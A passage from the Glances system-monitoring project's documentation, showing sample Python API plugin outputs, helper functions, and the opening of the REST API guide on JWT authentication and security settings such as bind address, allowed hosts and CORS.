'dell_smm 9', 'i915 0', 'iwlwifi_1 0', 'temp', 'CPU Fan', 'Video Fan', 'BAT BAT0']\n    >>> gl.sensors.get(\"Ambient\")\n    {'critical': None,\n     'key': 'label',\n     'label': 'Ambient',\n     'type': 'temperature_core',\n     'unit': 'C',\n     'value': 30,\n     'warning': 0}\n\nSensors fields description:\n\n* label: Sensor label\n* unit: Sensor unit\n* value: Sensor value\n* warning: Warning threshold\n* critical: Critical threshold\n* type: Sensor type (one of battery, temperature_core, fan_speed)\n\nSensors limits:\n\n.. code-block:: python\n\n    >>> gl.sensors.limits\n    {'history_size': 1200.0,\n     'sensors_battery_careful': 70.0,\n     'sensors_battery_critical': 90.0,\n     'sensors_battery_warning': 80.0,\n     'sensors_disable': ['False'],\n     'sensors_hide': ['unknown.*'],\n     'sensors_refresh': 10.0,\n     'sensors_temperature_hdd_careful': 45.0,\n     'sensors_temperature_hdd_critical': 60.0,\n     'sensors_temperature_hdd_warning': 52.0}\n\nGlances uptime\n--------------\n\nUptime stats:\n\n.. code-block:: python\n\n    >>> type(gl.uptime)\n    <class 'glances.plugins.uptime.UptimePlugin'>\n    >>> gl.uptime\n    '23:13:44'\n\nUptime limits:\n\n.. code-block:: python\n\n    >>> gl.uptime.limits\n    {'history_size': 1200.0}\n\nGlances now\n-----------\n\nNow stats:\n\n.. code-block:: python\n\n    >>> type(gl.now)\n    <class 'glances.plugins.now.NowPlugin'>\n    >>> gl.now\n    {'custom': '2026-03-15 16:33:11 CET', 'iso': '2026-03-15T16:33:11+01:00'}\n    >>> gl.now.keys()\n    ['iso', 'custom']\n    >>> gl.now.get(\"iso\")\n    '2026-03-15T16:33:11+01:00'\n\nNow fields description:\n\n* custom: Current date in custom format.\n* iso: Current date in ISO 8601 format.\n\nNow limits:\n\n.. code-block:: python\n\n    >>> gl.now.limits\n    {'history_size': 1200.0}\n\nGlances fs\n----------\n\nFs stats:\n\n.. code-block:: python\n\n    >>> type(gl.fs)\n    <class 'glances.plugins.fs.FsPlugin'>\n    >>> gl.fs\n    Return a dict of dict with key=<mnt_point>\n    >>> gl.fs.keys()\n    ['/', '/zsfpool']\n    >>> gl.fs.get(\"/\")\n    {'device_name': '/dev/mapper/ubuntu--vg-ubuntu--lv',\n     'free': 555017863168,\n     'fs_type': 'ext4',\n     'key': 'mnt_point',\n     'mnt_point': '/',\n     'options': 'rw,relatime',\n     'percent': 41.7,\n     'size': 1003736440832,\n     'used': 397656072192}\n\nFs fields description:\n\n* device_name: Device name.\n* fs_type: File system type.\n* mnt_point: Mount point.\n* options: Mount options.\n* size: Total size.\n* used: Used size.\n* free: Free size.\n* percent: File system usage in percent.\n\nFs limits:\n\n.. code-block:: python\n\n    >>> gl.fs.limits\n    {'fs_careful': 50.0,\n     'fs_critical': 90.0,\n     'fs_disable': ['False'],\n     'fs_hide': ['/boot.*', '.*/snap.*'],\n     'fs_warning': 70.0,\n     'history_size': 1200.0}\n\nGlances wifi\n------------\n\nWifi stats:\n\n.. code-block:: python\n\n    >>> type(gl.wifi)\n    <class 'glances.plugins.wifi.WifiPlugin'>\n    >>> gl.wifi\n    Return a dict of dict with key=<ssid>\n    >>> gl.wifi.keys()\n    ['wlp0s20f3']\n    >>> gl.wifi.get(\"wlp0s20f3\")\n    {'key': 'ssid',\n     'quality_level': -69.0,\n     'quality_link': 41.0,\n     'ssid': 'wlp0s20f3'}\n\nWifi limits:\n\n.. code-block:: python\n\n    >>> gl.wifi.limits\n    {'history_size': 1200.0,\n     'wifi_careful': -65.0,\n     'wifi_critical': -85.0,\n     'wifi_disable': ['False'],\n     'wifi_warning': -75.0}\n\nGlances ip\n----------\n\nIp stats:\n\n.. code-block:: python\n\n    >>> type(gl.ip)\n    <class 'glances.plugins.ip.IpPlugin'>\n    >>> gl.ip\n    {'address': '192.168.0.26', 'mask': '255.255.255.0', 'mask_cidr': 24}\n    >>> gl.ip.keys()\n    ['address', 'mask', 'mask_cidr']\n    >>> gl.ip.get(\"address\")\n    '192.168.0.26'\n\nIp fields description:\n\n* address: Private IP address\n* mask: Private IP mask\n* mask_cidr: Private IP mask in CIDR format\n* gateway: Private IP gateway\n* public_address: Public IP address\n* public_info_human: Public IP information\n\nIp limits:\n\n.. code-block:: python\n\n    >>> gl.ip.limits\n    {'history_size': 1200.0,\n     'ip_disable': ['False'],\n     'ip_public_api': ['https://ipv4.ipleak.net/json/'],\n     'ip_public_disabled': ['True'],\n     'ip_public_field': ['ip'],\n     'ip_public_refresh_interval': 300.0,\n     'ip_public_template': ['{continent_name}/{country_name}/{city_name}']}\n\nGlances version\n---------------\n\nVersion stats:\n\n.. code-block:: python\n\n    >>> type(gl.version)\n    <class 'glances.plugins.version.VersionPlugin'>\n    >>> gl.version\n    '4.5.3_dev01'\n\nVersion limits:\n\n.. code-block:: python\n\n    >>> gl.version.limits\n    {'history_size': 1200.0}\n\nGlances psutilversion\n---------------------\n\nPsutilversion stats:\n\n.. code-block:: python\n\n    >>> type(gl.psutilversion)\n    <class 'glances.plugins.psutilversion.PsutilversionPlugin'>\n    >>> gl.psutilversion\n    '7.2.2'\n\nPsutilversion limits:\n\n.. code-block:: python\n\n    >>> gl.psutilversion.limits\n    {'history_size': 1200.0}\n\nGlances core\n------------\n\nCore stats:\n\n.. code-block:: python\n\n    >>> type(gl.core)\n    <class 'glances.plugins.core.CorePlugin'>\n    >>> gl.core\n    {'log': 16, 'phys': 10}\n    >>> gl.core.keys()\n    ['phys', 'log']\n    >>> gl.core.get(\"phys\")\n    10\n\nCore fields description:\n\n* phys: Number of physical cores (hyper thread CPUs are excluded).\n* log: Number of logical CPU cores. A logical CPU is the number of physical cores multiplied by the number of threads that can run on each core.\n\nCore limits:\n\n.. code-block:: python\n\n    >>> gl.core.limits\n    {'history_size': 1200.0}\n\nGlances mem\n-----------\n\nMem stats:\n\n.. code-block:: python\n\n    >>> type(gl.mem)\n    <class 'glances.plugins.mem.MemPlugin'>\n    >>> gl.mem\n    {'active': 5036195840,\n     'available': 6534592304,\n     'buffers': 286728192,\n     'cached': 4718299056,\n     'free': 2062180352,\n     'inactive': 7703846912,\n     'percent': 60.2,\n     'percent_max': 60.2,\n     'percent_mean': 60.2,\n     'percent_min': 60.2,\n     'shared': 960630784,\n     'total': 16421228544,\n     'used': 9886636240}\n    >>> gl.mem.keys()\n    ['total', 'available', 'percent', 'used', 'free', 'active', 'inactive', 'buffers', 'cached', 'shared', 'percent_min', 'percent_max', 'percent_mean']\n    >>> gl.mem.get(\"total\")\n    16421228544\n\nMem fields description:\n\n* total: Total physical memory available.\n* available: The actual amount of available memory that can be given instantly to processes that request more memory in bytes; this is calculated by summing different memory values depending on the platform (e.g. free + buffers + cached on Linux) and it is supposed to be used to monitor actual memory usage in a cross platform fashion.\n* percent: The percentage usage calculated as (total - available) / total * 100.\n* used: Memory used, calculated differently depending on the platform and designed for informational purposes only.\n* free: Memory not being used at all (zeroed) that is readily available; note that this doesn't reflect the actual memory available (use 'available' instead).\n* active: *(UNIX)*: memory currently in use or very recently used, and so it is in RAM.\n* inactive: *(UNIX)*: memory that is marked as not used.\n* buffers: *(Linux, BSD)*: cache for things like file system metadata.\n* cached: *(Linux, BSD)*: cache for various things (including ZFS cache).\n* wired: *(BSD, macOS)*: memory that is marked to always stay in RAM. It is never moved to disk.\n* shared: *(BSD)*: memory that may be simultaneously accessed by multiple processes.\n* percent_min: Minimum percent observed since Glances startup.\n* percent_max: Maximum percent observed since Glances startup.\n* percent_mean: Mean (average) percent computed from the history.\n\nMem limits:\n\n.. code-block:: python\n\n    >>> gl.mem.limits\n    {'history_size': 1200.0,\n     'mem_careful': 50.0,\n     'mem_critical': 90.0,\n     'mem_disable': ['False'],\n     'mem_warning': 70.0}\n\nGlances folders\n---------------\n\nFolders stats:\n\n.. code-block:: python\n\n    >>> type(gl.folders)\n    <class 'glances.plugins.folders.FoldersPlugin'>\n    >>> gl.folders\n    []\n\nFolders fields description:\n\n* path: Absolute path.\n* size: Folder size in bytes.\n* refresh: Refresh interval in seconds.\n* errno: Return code when retrieving folder size (0 is no error).\n* careful: Careful threshold in MB.\n* warning: Warning threshold in MB.\n* critical: Critical threshold in MB.\n\nFolders limits:\n\n.. code-block:: python\n\n    >>> gl.folders.limits\n    {'folders_disable': ['False'], 'history_size': 1200.0}\n\nGlances quicklook\n-----------------\n\nQuicklook stats:\n\n.. code-block:: python\n\n    >>> type(gl.quicklook)\n    <class 'glances.plugins.quicklook.QuicklookPlugin'>\n    >>> gl.quicklook\n    {'cpu': 10.7,\n     'cpu_hz': 4475000000.0,\n     'cpu_hz_current': 647705187.5000001,\n     'cpu_log_core': 16,\n     'cpu_name': '13th Gen Intel(R) Core(TM) i7-13620H',\n     'cpu_phys_core': 10,\n     'load': 3.1,\n     'mem': 60.2,\n     'percpu': [{'cpu_number': 0,\n                 'dpc': None,\n                 'guest': 0.0,\n                 'guest_nice': 0.0,\n                 'idle': 42.0,\n                 'interrupt': None,\n                 'iowait': 0.0,\n                 'irq': 0.0,\n                 'key': 'cpu_number',\n                 'nice': 0.0,\n                 'softirq': 0.0,\n                 'steal': 0.0,\n                 'system': 7.0,\n                 'total': 58.0,\n                 'user': 0.0},\n                {'cpu_number': 1,\n                 'dpc': None,\n                 'guest': 0.0,\n                 'guest_nice': 0.0,\n                 'idle': 48.0,\n                 'interrupt': None,\n                 'iowait': 0.0,\n                 'irq': 0.0,\n                 'key': 'cpu_number',\n                 'nice': 0.0,\n                 'softirq': 0.0,\n                 'steal': 0.0,\n                 'system': 2.0,\n                 'total': 52.0,\n                 'user': 3.0},\n                {'cpu_number': 2,\n                 'dpc': None,\n                 'guest': 0.0,\n                 'guest_nice': 0.0,\n                 'idle': 53.0,\n                 'interrupt': None,\n                 'iowait': 0.0,\n                 'irq': 0.0,\n                 'key': 'cpu_number',\n                 'nice': 0.0,\n                 'softirq': 0.0,\n                 'steal': 0.0,\n                 'system': 0.0,\n                 'total': 47.0,\n                 'user': 1.0},\n                {'cpu_number': 3,\n                 'dpc': None,\n                 'guest': 0.0,\n                 'guest_nice': 0.0,\n                 'idle': 54.0,\n                 'interrupt': None,\n                 'iowait': 0.0,\n                 'irq': 0.0,\n                 'key': 'cpu_number',\n                 'nice': 0.0,\n                 'softirq': 0.0,\n                 'steal': 0.0,\n                 'system': 0.0,\n                 'total': 46.0,\n                 'user': 1.0},\n                {'cpu_number': 4,\n                 'dpc': None,\n                 'guest': 0.0,\n                 'guest_nice': 0.0,\n                 'idle': 48.0,\n                 'interrupt': None,\n                 'iowait': 0.0,\n                 'irq': 0.0,\n                 'key': 'cpu_number',\n                 'nice': 0.0,\n                 'softirq': 0.0,\n                 'steal': 0.0,\n                 'system': 3.0,\n                 'total': 52.0,\n                 'user': 3.0},\n                {'cpu_number': 5,\n                 'dpc': None,\n                 'guest': 0.0,\n                 'guest_nice': 0.0,\n                 'idle': 17.0,\n                 'interrupt': None,\n                 'iowait': 1.0,\n                 'irq': 0.0,\n                 'key': 'cpu_number',\n                 'nice': 0.0,\n                 'softirq': 0.0,\n                 'steal': 0.0,\n                 'system': 21.0,\n                 'total': 83.0,\n                 'user': 12.0},\n                {'cpu_number': 6,\n                 'dpc': None,\n                 'guest': 0.0,\n                 'guest_nice': 0.0,\n                 'idle': 24.0,\n                 'interrupt': None,\n                 'iowait': 0.0,\n                 'irq': 0.0,\n                 'key': 'cpu_number',\n                 'nice': 0.0,\n                 'softirq': 0.0,\n                 'steal': 0.0,\n                 'system': 10.0,\n                 'total': 76.0,\n                 'user': 17.0},\n                {'cpu_number': 7,\n                 'dpc': None,\n                 'guest': 0.0,\n                 'guest_nice': 0.0,\n                 'idle': 54.0,\n                 'interrupt': None,\n                 'iowait': 0.0,\n                 'irq': 0.0,\n                 'key': 'cpu_number',\n                 'nice': 0.0,\n                 'softirq': 0.0,\n                 'steal': 0.0,\n                 'system': 0.0,\n                 'total': 46.0,\n                 'user': 0.0},\n                {'cpu_number': 8,\n                 'dpc': None,\n                 'guest': 0.0,\n                 'guest_nice': 0.0,\n                 'idle': 51.0,\n                 'interrupt': None,\n                 'iowait': 0.0,\n                 'irq': 0.0,\n                 'key': 'cpu_number',\n                 'nice': 0.0,\n                 'softirq': 0.0,\n                 'steal': 0.0,\n                 'system': 1.0,\n                 'total': 49.0,\n                 'user': 1.0},\n                {'cpu_number': 9,\n                 'dpc': None,\n                 'guest': 0.0,\n                 'guest_nice': 0.0,\n                 'idle': 53.0,\n                 'interrupt': None,\n                 'iowait': 0.0,\n                 'irq': 0.0,\n                 'key': 'cpu_number',\n                 'nice': 0.0,\n                 'softirq': 0.0,\n                 'steal': 0.0,\n                 'system': 0.0,\n                 'total': 47.0,\n                 'user': 0.0},\n                {'cpu_number': 10,\n                 'dpc': None,\n                 'guest': 0.0,\n                 'guest_nice': 0.0,\n                 'idle': 53.0,\n                 'interrupt': None,\n                 'iowait': 0.0,\n                 'irq': 0.0,\n                 'key': 'cpu_number',\n                 'nice': 0.0,\n                 'softirq': 0.0,\n                 'steal': 0.0,\n                 'system': 0.0,\n                 'total': 47.0,\n                 'user': 1.0},\n                {'cpu_number': 11,\n                 'dpc': None,\n                 'guest': 0.0,\n                 'guest_nice': 0.0,\n                 'idle': 50.0,\n                 'interrupt': None,\n                 'iowait': 0.0,\n                 'irq': 0.0,\n                 'key': 'cpu_number',\n                 'nice': 0.0,\n                 'softirq': 0.0,\n                 'steal': 0.0,\n                 'system': 2.0,\n                 'total': 50.0,\n                 'user': 2.0},\n                {'cpu_number': 12,\n                 'dpc': None,\n                 'guest': 0.0,\n                 'guest_nice': 0.0,\n                 'idle': 52.0,\n                 'interrupt': None,\n                 'iowait': 0.0,\n                 'irq': 0.0,\n                 'key': 'cpu_number',\n                 'nice': 0.0,\n                 'softirq': 0.0,\n                 'steal': 0.0,\n                 'system': 0.0,\n                 'total': 48.0,\n                 'user': 1.0},\n                {'cpu_number': 13,\n                 'dpc': None,\n                 'guest': 0.0,\n                 'guest_nice': 0.0,\n                 'idle': 54.0,\n                 'interrupt': None,\n                 'iowait': 0.0,\n                 'irq': 0.0,\n                 'key': 'cpu_number',\n                 'nice': 0.0,\n                 'softirq': 0.0,\n                 'steal': 0.0,\n                 'system': 0.0,\n                 'total': 46.0,\n                 'user': 0.0},\n                {'cpu_number': 14,\n                 'dpc': None,\n                 'guest': 0.0,\n                 'guest_nice': 0.0,\n                 'idle': 50.0,\n                 'interrupt': None,\n                 'iowait': 0.0,\n                 'irq': 0.0,\n                 'key': 'cpu_number',\n                 'nice': 0.0,\n                 'softirq': 0.0,\n                 'steal': 0.0,\n                 'system': 2.0,\n                 'total': 50.0,\n                 'user': 1.0},\n                {'cpu_number': 15,\n                 'dpc': None,\n                 'guest': 0.0,\n                 'guest_nice': 0.0,\n                 'idle': 54.0,\n                 'interrupt': None,\n                 'iowait': 0.0,\n                 'irq': 0.0,\n                 'key': 'cpu_number',\n                 'nice': 0.0,\n                 'softirq': 0.0,\n                 'steal': 0.0,\n                 'system': 0.0,\n                 'total': 46.0,\n                 'user': 0.0}],\n     'swap': 0.0}\n    >>> gl.quicklook.keys()\n    ['cpu_name', 'cpu_hz_current', 'cpu_hz', 'cpu', 'percpu', 'mem', 'swap', 'cpu_log_core', 'cpu_phys_core', 'load']\n    >>> gl.quicklook.get(\"cpu_name\")\n    '13th Gen Intel(R) Core(TM) i7-13620H'\n\nQuicklook fields description:\n\n* cpu: CPU percent usage\n* mem: MEM percent usage\n* swap: SWAP percent usage\n* load: LOAD percent usage\n* cpu_log_core: Number of logical CPU core\n* cpu_phys_core: Number of physical CPU core\n* cpu_name: CPU name\n* cpu_hz_current: CPU current frequency\n* cpu_hz: CPU max frequency\n\nQuicklook limits:\n\n.. code-block:: python\n\n    >>> gl.quicklook.limits\n    {'history_size': 1200.0,\n     'quicklook_bar_char': ['▪'],\n     'quicklook_cpu_careful': 50.0,\n     'quicklook_cpu_critical': 90.0,\n     'quicklook_cpu_warning': 70.0,\n     'quicklook_disable': ['False'],\n     'quicklook_list': ['cpu', 'mem', 'load'],\n     'quicklook_load_careful': 70.0,\n     'quicklook_load_critical': 500.0,\n     'quicklook_load_warning': 100.0,\n     'quicklook_mem_careful': 50.0,\n     'quicklook_mem_critical': 90.0,\n     'quicklook_mem_warning': 70.0,\n     'quicklook_swap_careful': 50.0,\n     'quicklook_swap_critical': 90.0,\n     'quicklook_swap_warning': 70.0}\n\nGlances memswap\n---------------\n\nMemswap stats:\n\n.. code-block:: python\n\n    >>> type(gl.memswap)\n    <class 'glances.plugins.memswap.MemswapPlugin'>\n    >>> gl.memswap\n    {'free': 4294070272,\n     'percent': 0.0,\n     'sin': 0,\n     'sout': 917504,\n     'time_since_update': 0.7735226154327393,\n     'total': 4294963200,\n     'used': 892928}\n    >>> gl.memswap.keys()\n    ['total', 'used', 'free', 'percent', 'sin', 'sout', 'time_since_update']\n    >>> gl.memswap.get(\"total\")\n    4294963200\n\nMemswap fields description:\n\n* total: Total swap memory.\n* used: Used swap memory.\n* free: Free swap memory.\n* percent: Used swap memory in percentage.\n* sin: The number of bytes the system has swapped in from disk (cumulative).\n* sout: The number of bytes the system has swapped out from disk (cumulative).\n* time_since_update: Number of seconds since last update.\n\nMemswap limits:\n\n.. code-block:: python\n\n    >>> gl.memswap.limits\n    {'history_size': 1200.0,\n     'memswap_careful': 50.0,\n     'memswap_critical': 90.0,\n     'memswap_disable': ['False'],\n     'memswap_warning': 70.0}\n\nUse auto_unit to display a human-readable string with the unit\n--------------------------------------------------------------\n\nUse auto_unit() function to generate a human-readable string with the unit:\n\n.. code-block:: python\n\n    >>> gl.mem.get(\"used\")\n    9886636240\n\n    >>> gl.auto_unit(gl.mem.get(\"used\"))\n    9.21G\n\n\nArgs:\n\n    number (float or int): The numeric value to be converted.\n\n    low_precision (bool, optional): If True, use lower precision for the output. Defaults to False.\n\n    min_symbol (str, optional): The minimum unit symbol to use (e.g., 'K' for kilo). Defaults to 'K'.\n\n    none_symbol (str, optional): The symbol to display if the number is None. Defaults to '-'.\n\nReturns:\n\n    str: A human-readable string representation of the number with units.\n\n\nUse to display stat as a bar\n----------------------------\n\nUse bar() function to generate a bar:\n\n.. code-block:: python\n\n    >>> gl.bar(gl.mem[\"percent\"])\n    ■■■■■■■■■■■□□□□□□□\n\n\nArgs:\n\n    value (float): The percentage value to represent in the bar (typically between 0 and 100).\n\n    size (int, optional): The total length of the bar in characters. Defaults to 18.\n\n    bar_char (str, optional): The character used to represent the filled portion of the bar. Defaults to '■'.\n\n    empty_char (str, optional): The character used to represent the empty portion of the bar. Defaults to '□'.\n\n    pre_char (str, optional): A string to prepend to the bar. Defaults to ''.\n\n    post_char (str, optional): A string to append to the bar. Defaults to ''.\n\nReturns:\n\n    str: A string representing the progress bar.\n\n\nUse to display top process list\n-------------------------------\n\nUse top_process() function to generate a list of top processes sorted by CPU or MEM usage:\n\n.. code-block:: python\n\n    >>> gl.top_process()\n    [{'num_threads': 131, 'cpu_times': {'user': 1996.55, 'system': 529.21, 'children_user': 0.15, 'children_system': 0.6, 'iowait': 0.0}, 'name': 'firefox', 'io_counters': [919012352, 2607575040, 919012352, 2607542272, 1], 'memory_info': {'rss': 908312576, 'vms': 21564395520, 'shared': 303284224, 'text': 659456, 'lib': 0, 'data': 1035468800, 'dirty': 0}, 'nice': 0, 'cpu_percent': 13.3, 'pid': 7320, 'gids': {'real': 1000, 'effective': 1000, 'saved': 1000}, 'memory_percent': 5.53133143215329, 'status': 'S', 'key': 'pid', 'time_since_update': 0.6963753700256348, 'cmdline': ['/snap/firefox/7967/usr/lib/firefox/firefox'], 'username': 'nicolargo'}, {'num_threads': 22, 'cpu_times': {'user': 434.46, 'system': 157.29, 'children_user': 123.47, 'children_system': 165.65, 'iowait': 0.0}, 'name': 'code', 'io_counters': [533440512, 25243648, 533440512, 25243648, 1, 58270720, 860160, 58270720, 860160, 1, 22730752, 16384, 22730752, 16384, 1, 535948288, 47550464, 535948288, 47550464, 1, 5810176, 0, 5810176, 0, 1, 19647488, 20480, 19647488, 20480, 1, 2099200, 0, 2099200, 0, 1, 16313344, 0, 16313344, 0, 1, 28744704, 1234997248, 28744704, 1234997248, 1, 3727360, 0, 3727360, 0, 1, 2706432, 0, 2706432, 0, 1, 608256, 5287936, 608256, 5287936, 1, 501760, 4096, 501760, 4096, 1, 4771840, 0, 4771840, 0, 1, 204800, 0, 204800, 0, 1, 3366912, 0, 3366912, 0, 1, 121856, 0, 121856, 0, 1, 4253696, 14041088, 4253696, 14041088, 1, 3054592, 0, 3054592, 0, 1, 1148928, 0, 1148928, 0, 1], 'memory_info': {'rss': 738152448, 'vms': 1498172166144, 'shared': 94523392, 'text': 148103168, 'lib': 0, 'data': 1854808064, 'dirty': 0}, 'nice': 0, 'cpu_percent': 3.0, 'pid': 23100, 'gids': {'real': 1000, 'effective': 1000, 'saved': 1000}, 'memory_percent': 4.4951109840664545, 'status': 'S', 'key': 'pid', 'time_since_update': 0.6963753700256348, 'cmdline': ['/proc/self/exe', '--type=utility', '--utility-sub-type=node.mojom.NodeService', '--lang=en-US', '--service-sandbox-type=none', '--no-sandbox', '--dns-result-order=ipv4first', '--experimental-network-inspection', '--inspect-port=0', '--crashpad-handler-pid=22860', '--enable-crash-reporter=864d4bb7-dd20-4851-830f-29e81dd93517,no_channel', '--user-data-dir=/home/nicolargo/.config/Code', '--standard-schemes=vscode-webview,vscode-file', '--secure-schemes=vscode-webview,vscode-file', '--cors-schemes=vscode-webview,vscode-file', '--fetch-schemes=vscode-webview,vscode-file', '--service-worker-schemes=vscode-webview', '--code-cache-schemes=vscode-webview,vscode-file', '--shared-files=v8_context_snapshot_data:100', '--field-trial-handle=3,i,11793729921653500993,15199841788975447298,262144', '--enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EstablishGpuChannelAsync', '--disable-features=CalculateNativeWinOcclusion,LocalNetworkAccessChecks,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation', '--variations-seed-version', '--trace-process-track-uuid=3190708993808206286'], 'username': 'nicolargo'}, {'num_threads': 27, 'cpu_times': {'user': 271.3, 'system': 39.85, 'children_user': 0.0, 'children_system': 0.0, 'iowait': 0.0}, 'name': 'WebExtensions', 'io_counters': [8280064, 0, 8280064, 0, 1], 'memory_info': {'rss': 686952448, 'vms': 25292599296, 'shared': 105496576, 'text': 659456, 'lib': 0, 'data': 902512640, 'dirty': 0}, 'nice': 0, 'cpu_percent': 1.5, 'pid': 7579, 'gids': {'real': 1000, 'effective': 1000, 'saved': 1000}, 'memory_percent': 4.183319452374342, 'status': 'S', 'key': 'pid', 'time_since_update': 0.6963753700256348, 'cmdline': ['/snap/firefox/7967/usr/lib/firefox/firefox', '-contentproc', '-isForBrowser', '-prefsHandle', '0:41745', '-prefMapHandle', '1:282338', '-jsInitHandle', '2:227672', '-parentBuildID', '20260309231353', '-sandboxReporter', '3', '-chrootClient', '4', '-ipcHandle', '5', '-initialChannelId', '{23de7ccd-11bf-4331-b298-76bfd0f254af}', '-parentPid', '7320', '-crashReporter', '6', '-crashHelper', '7', '-greomni', '/snap/firefox/7967/usr/lib/firefox/omni.ja', '-appomni', '/snap/firefox/7967/usr/lib/firefox/browser/omni.ja', '-appDir', '/snap/firefox/7967/usr/lib/firefox/browser', '3', 'tab'], 'username': 'nicolargo'}]\n\n\nArgs:\n\n    limit (int, optional): The maximum number of top processes to return. Defaults to 3.\n\n    sorted_by (str, optional): The primary key to sort processes by (e.g., 'cpu_percent').\n                                Defaults to 'cpu_percent'.\n\n    sorted_by_secondary (str, optional): The secondary key to sort processes by if primary keys are equal\n                                            (e.g., 'memory_percent'). Defaults to 'memory_percent'.\n\nReturns:\n\n    list: A list of dictionaries representing the top processes, excluding those with 'glances' in their\n            command line.\n\nNote:\n\n    The 'glances' process is excluded from the returned list to avoid self-generated CPU load affecting\n    the results.\n\n\n"
  },
  {
    "path": "docs/api/restful.rst",
    "content": ".. _api_restful:\n\nRestful/JSON API documentation\n==============================\n\nThis documentation describes the Glances API version 4 (Restful/JSON) interface.\n\nAn OpenAPI specification file is available at:\n``https://raw.githubusercontent.com/nicolargo/glances/refs/heads/develop/docs/api/openapi.json``\n\nRun the Glances API server\n--------------------------\n\nThe Glances Restful/API server could be ran using the following command line:\n\n.. code-block:: bash\n\n    # glances -w --disable-webui\n\nIt is also ran automatically when Glances is started in Web server mode (-w).\n\nIf you want to enable the Glances Central Browser, use:\n\n.. code-block:: bash\n\n    # glances -w --browser --disable-webui\n\nAPI URL\n-------\n\nThe default root API URL is ``http://localhost:61208/api/4``.\n\nThe bind address and port could be changed using the ``--bind`` and ``--port`` command line options.\n\nIt is also possible to define an URL prefix using the ``url_prefix`` option from the [outputs] section\nof the Glances configuration file.\n\nNote: The url_prefix should always end with a slash (``/``).\n\nFor example:\n\n.. code-block:: ini\n\n    [outputs]\n    url_prefix = /glances/\n\nwill change the root API URL to ``http://localhost:61208/glances/api/4`` and the Web UI URL to\n``http://localhost:61208/glances/``\n\nAPI documentation URL\n---------------------\n\nThe API documentation is embeded in the server and available at the following URL:\n``http://localhost:61208/docs#/``.\n\nAuthentication\n--------------\n\nGlances API supports both HTTP Basic authentication and JWT (JSON Web Token) Bearer authentication.\n\nTo enable authentication, start Glances with the ``--password`` option.\n\nTo generate a new login/password pair, use the following command:\n\n.. code-block:: bash\n\n    glances -w --username\n    > Enter new username: foo\n    > Enter new password: ********\n    > Confirm new password: ********\n    > User 'username' created/updated successfully.\n\nTo reuse an existing login/password pair, start Glances with the ``-u <user>`` option:\n\n.. code-block:: bash\n\n    glances -w -u foo\n\nJWT Token Authentication\n~~~~~~~~~~~~~~~~~~~~~~~~\n\nJWT authentication requires the ``python-jose`` library to be installed.\n\n**Step 1: Get a JWT Token**\n\nRequest a token by sending your credentials to the token endpoint:\n\n.. code-block:: bash\n\n    curl -X POST http://localhost:61208/api/4/token \\\n      -H \"Content-Type: application/json\" \\\n      -d '{\"username\": \"your_username\", \"password\": \"your_password\"}'\n\nThis will return a response like:\n\n.. code-block:: json\n\n    {\n      \"access_token\": \"...\",\n      \"token_type\": \"bearer\",\n      \"expires_in\": 3600\n    }\n\n**Step 2: Use the Token**\n\nUse the token in the Authorization header with Bearer authentication:\n\n.. code-block:: bash\n\n    # Store the token in a variable\n    TOKEN=\"your_access_token_here\"\n\n    # Access a protected endpoint\n    curl -H \"Authorization: Bearer $TOKEN\" \\\n      http://localhost:61208/api/4/cpu\n\n**Complete Example:**\n\n.. code-block:: bash\n\n    # Get token and extract access_token\n    TOKEN=$(curl -s -X POST http://localhost:61208/api/4/token \\\n      -H \"Content-Type: application/json\" \\\n      -d '{\"username\": \"glances\", \"password\": \"mypassword\"}' \\\n      | grep -o '\"access_token\":\"[^\"]*\"' \\\n      | cut -d'\"' -f4)\n\n    # Use the token to get CPU stats\n    curl -H \"Authorization: Bearer $TOKEN\" \\\n      http://localhost:61208/api/4/cpu\n\n**Configuration:**\n\nYou can configure JWT settings in the Glances configuration file:\n\n.. code-block:: ini\n\n    [outputs]\n    # JWT secret key (if not set, a random key will be generated)\n    jwt_secret_key = your-secret-key-here\n    # JWT token expiration in minutes (default: 60)\n    jwt_expire_minutes = 60\n\n**Note:** The token endpoint (``/api/4/token``) does not require authentication.\nProtected endpoints support both Bearer token and Basic Auth authentication methods.\n\n.. _security:\n\nSecurity\n--------\n\nBy default, Glances web server runs **without authentication** and binds to\n**all network interfaces** (``0.0.0.0``). This means any client that can reach\nthe server on the network can access the full REST API, including sensitive\nsystem information such as process command-lines, which may contain credentials\n(passwords, API keys, tokens passed as arguments).\n\nThis default is intentional for ease of use on private, trusted networks (home\nlabs, local machines, internal infrastructure). However, if your Glances\ninstance is reachable from untrusted networks, you should take the following\nprecautions:\n\n**Enable authentication** by starting Glances with the ``--password`` option:\n\n.. code-block:: bash\n\n    glances -w --password\n\n**Bind to localhost only** if remote access is not needed:\n\n.. code-block:: bash\n\n    glances -w --bind 127.0.0.1\n\n**Enable DNS rebinding protection** by setting ``webui_allowed_hosts`` in\n``glances.conf``. This restricts the HTTP ``Host`` header values accepted by the\nweb server. Without this setting, a DNS rebinding attack could allow an\nuntrusted web page to read the REST API from a victim's browser on the same\nnetwork, even without direct network access to the Glances instance.\n\n.. code-block:: ini\n\n    [outputs]\n    # Comma-separated list of allowed hostnames/IPs.\n    # Wildcards are supported (e.g. *.example.com).\n    webui_allowed_hosts=localhost,127.0.0.1,myserver.example.com\n\nWhen ``webui_allowed_hosts`` is set, requests with a ``Host`` header not in the\nlist are rejected with ``400 Bad Request``. When absent or commented out\n(the default), no host filtering is applied.\n\n**Use a reverse proxy** (nginx, Caddy, Apache) with TLS and authentication for\nany public-facing or semi-public deployment. This is the recommended approach\nfor production environments.\n\n.. code-block:: ini\n\n    # Example: restrict bind to localhost, access via reverse proxy\n    # In glances.conf:\n    [outputs]\n    # Bind to localhost, let the reverse proxy handle external access\n    # then configure your reverse proxy to forward to 127.0.0.1:61208\n    webui_allowed_hosts=localhost,127.0.0.1\n\n.. note::\n\n    The bind address (``0.0.0.0`` by default) controls which network interfaces\n    the server listens on, but it is **not a security boundary**. For\n    deployments on non-loopback interfaces, always set ``webui_allowed_hosts``\n    and consider enabling authentication.\n\n**CORS (Cross-Origin Resource Sharing)** controls which external websites can\nmake requests to the Glances API from a browser. By default, Glances allows\nrequests from any origin (``cors_origins=*``) but does **not** allow credentials\n(``cors_credentials=False``). This means cross-origin requests work for\nunauthenticated API access, but browsers will not send stored credentials\n(e.g. Basic Auth) to the API from a third-party page.\n\nIf you need credentialed cross-origin access (e.g. a separate dashboard\napplication that authenticates to Glances), you **must** configure explicit\norigins — the wildcard 